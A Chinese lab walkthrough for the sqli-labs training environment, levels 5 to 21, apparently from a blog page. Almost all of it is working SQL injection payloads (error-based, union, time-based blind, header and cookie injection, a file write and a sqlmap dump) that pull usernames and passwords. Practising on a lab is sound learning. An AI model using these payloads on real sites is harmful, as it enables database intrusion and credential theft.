Sql-lab全解_sqllab,给后辈的一点建议

简介: Sql-lab全解_sqllab,给后辈的一点建议

?id=1’ and extractvalue(1,concat(0x7e,(select database())))–+

引起报错的是0x7e这里也就是~符号,这里回显会执行后面的select语句同时以报错的方式回显

表名:?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))–+

表列:?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)))–+

结果:?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))–+

第六题

判断闭合方式为"这里和上一题一样没有回显但是报错有回显同样使用报错注入

表名:?id=1“ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))–+

表列:?id=1” and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)))–+

结果:?id=1“ and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))–+

第七题

这里提示使用outfile,判断闭合方式为’))

select 1,2,database() into outfile  “C:\Users\19871\Desktop\phpStudy_64\WWW\sqli-labs-master\Less-7\test.txt”–+

红色标记的地方为靶机该题的保存位置其他和联合注入语句没有区别

?id=1’)) union select 1,2,group_concat(username,password) from security.users into outfile “文件位置”–+

第八题

使用万用测试闭合方式发现闭合方式为’这里没有明显的回显排除union注入,也无报错注入,这里使用盲注,使用时间盲注测试

?id=1’ and if(ascii(concat(database(),1,1))>0,sleep(5),sleep(10))–+

这里返回的时间趋近于5秒而注入语句如果databse()所查到的数据库名称第一个字符如果ascii大于0则执行sleep(5)所以这个返回延迟5秒说明存在时间注入

盲注的手动注入耗时极大,所以这里推荐使用sqlmap辅助注入

真是太太太太方便了,这里语句为

python sqlmap.py -u 127.0.0.1/sqli-labs-master/Less-8/?id=1’–+ -D security -T users --dump

第九题

和上一题同理只是改变了闭合方式这里就不再复述

?id=1’ and if(ascii(concat(database(),1,1))>0,sleep(5),sleep(10))–+

第十题

这里和前面的盲注也是一样使用时间盲注,区别在于判断闭合方式

通过查看源码得到闭合方式为"

?id=1" and if(ascii(concat(database(),1,1))>0,sleep(5),sleep(10))–+

第十一题

这里是post注入,建议先分析源码

这里推荐在password注入,因为会判断密码和账户的正确性,正确才会回显,如果这里在username注入则会比较麻烦

经过测试这里

回显位为2位

-1’ union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

得到数据库名称,和当前表名称

-1’ union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’#

得到表列

-1’ union select database(),group_concat(username,password) from security.users#

得到数据

第十二题

这里也是直接看源码进行分析

改变闭合方式其他的和第十一题没有区别

-1") union select database(),group_concat(username,password) from security.users#

第十三题

-1’) union select database(),group_concat(username,password) from security.users#

发现没有回显了

这里尝试报错注入

-1’) and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))#

第十四题

同样没有回显,使用报错注入

-1" and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))#

第十五题

这里和上面的有些不同,这里报错没有回显了,所以在这里采用post盲注

admin’ and if(ascii(concat(database()))>0,sleep(5),sleep(10))#

存在注入后续可以使用sqlmap辅助注入,盲注工作量太大了

第十六题

这里测试也是没有回显使用盲注,查看源码发现闭合方式为")

使用语句admin“) and if(ascii(concat(database()))>0,sleep(5),sleep(10))#

第十七题

观察源码发现uname被过滤所以不可能在这里注入

这里uname被过滤了直接在passwd注入

这里看到注入语句前面是updata采用报错注入

’ or extractvalue(1,concat(0x7e,(database())))#

最后爆出数据表的时候会报一个错误

这里是数据库做了一个限制不允许读users表可以使用别名绕过

’ or extractvalue(1,(select concat(0x7e,(select group_concat(username,password) from (select username,password from users)a))))#

将users表中的数据username和password存到一个别名为a的表中,这个时候就绕过了

第十八题

这里观察源码发现username和passowrd都被过滤但是这里有两个uagent和ip没有被过滤,和上一题一样使用报错注入

1’,1,extractvalue(1,concat(0x7e,(select database()),0x7e)))#

修改红色区域可以得到数据表,这里需要注意如果是闭合整个values后面记得在#前面多加一个)两个小时血的教训


第十九题

和前一道题没什么区别注意一下最后加一个)这个抓包注入语句写在referer

第二十题

这里看源代码发现可以在cookie注入并且这里并没有对cooki e进行任何过滤

先用bp抓包看一下

post包里面没有发现cookie接着抓

构造playload

admin’ and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))#

第二十一题

这里看源码

可以看到和上一题没什么区别改变playload的闭合就可以

然后就会遇到这样的问题

直接翻车,这里看到报错是一些乱码考虑可能是进行编码了,这里查看源码


相关文章
|
安全 数据安全/隐私保护
BUUCTF 后门查杀 1
BUUCTF 后门查杀 1
1063 0
BUUCTF 后门查杀 1
|
5月前
|
Web App开发 缓存 运维
16 亿用户凭证泄露背景下身份认证安全治理研究
本文剖析2025年16亿条用户凭证大规模泄露事件,揭示Infostealer窃取与撞库攻击全链路机制,结合密码学、终端安全与行为风控技术,提出含双因素认证、泄露密码检测等可复现防御方案,构建事前预防—事中监测—事后处置的全周期治理体系。(239字)
265 2
|
8月前
|
安全
CSRF攻击
CSRF(跨站请求伪造)攻击利用用户登录态,诱导其发起非自愿请求,窃取资金或冒充发帖。攻击者通过钓鱼页面伪造对目标网站的请求,借助Cookie自动携带实现越权操作。防御手段包括:校验Referer、添加Token验证、设置Cookie SameSite属性、禁止第三方携带Cookie、关键操作使用验证码等,以阻断跨域请求伪造行为,保障用户安全。
|
10月前
|
安全 网络安全 Windows
Windows Server 2019 IP黑名单设置,保护云服务器安全
本文介绍如何在Windows Server 2019云服务器上设置IP黑名单,通过防火墙高级安全功能,五步完成入站规则配置,有效拦截恶意IP的扫描与暴力破解,提升服务器安全性。结合云平台安全组可实现双重防护,操作简单、成本低,是保障业务稳定运行的实用技巧。
783 4
|
SQL 安全 测试技术
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
|
XML 安全 Apache
利用EXCEL进行XXE攻击
本文介绍了通过构造恶意 Excel 文件利用 XXE(XML 外部实体)漏洞的原理与实践。首先说明了文件如 Word、Excel 等以 ZIP 格式存储,包含多个 XML 文件的特点。当服务器未正确配置 XML 解析器时,可能导致文件泄露、远程代码执行或拒绝服务攻击等风险。接着详细描述了搭建测试环境的过程,包括使用 Apache POI 依赖读取 Excel 文件,修改 xlsx 文件中的 Content_Types.xml 添加外部实体引用,以及通过 DNSLog 验证漏洞存在。最后展示了如何利用外部 DTD 文件读取目标系统上的敏感文件,并将数据写入指定位置,完成攻击验证。
1524 5
利用EXCEL进行XXE攻击
|
Shell PHP
[GXYCTF2019]Ping Ping Ping1
[GXYCTF2019]Ping Ping Ping1
|
安全 Shell Linux
Webshell管理工具:AntSword(中国蚁剑)
中国蚁剑的下载、安装、详细使用步骤
16507 1
|
安全 测试技术 数据库
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)

热门文章

最新文章